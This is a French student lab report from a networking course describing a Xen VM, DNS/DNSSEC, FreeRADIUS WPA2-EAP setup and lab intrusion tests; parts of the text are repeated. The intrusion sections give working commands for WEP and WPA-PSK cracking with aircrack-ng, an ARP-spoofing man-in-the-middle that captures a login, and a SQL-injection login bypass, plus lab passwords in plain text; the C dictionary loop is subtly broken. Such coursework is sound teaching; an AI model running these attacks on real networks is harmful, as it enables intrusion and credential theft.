Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T12:09:59Z

Lchenu : /* Attaque de type "homme au milieu" par usurpation ARP */

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
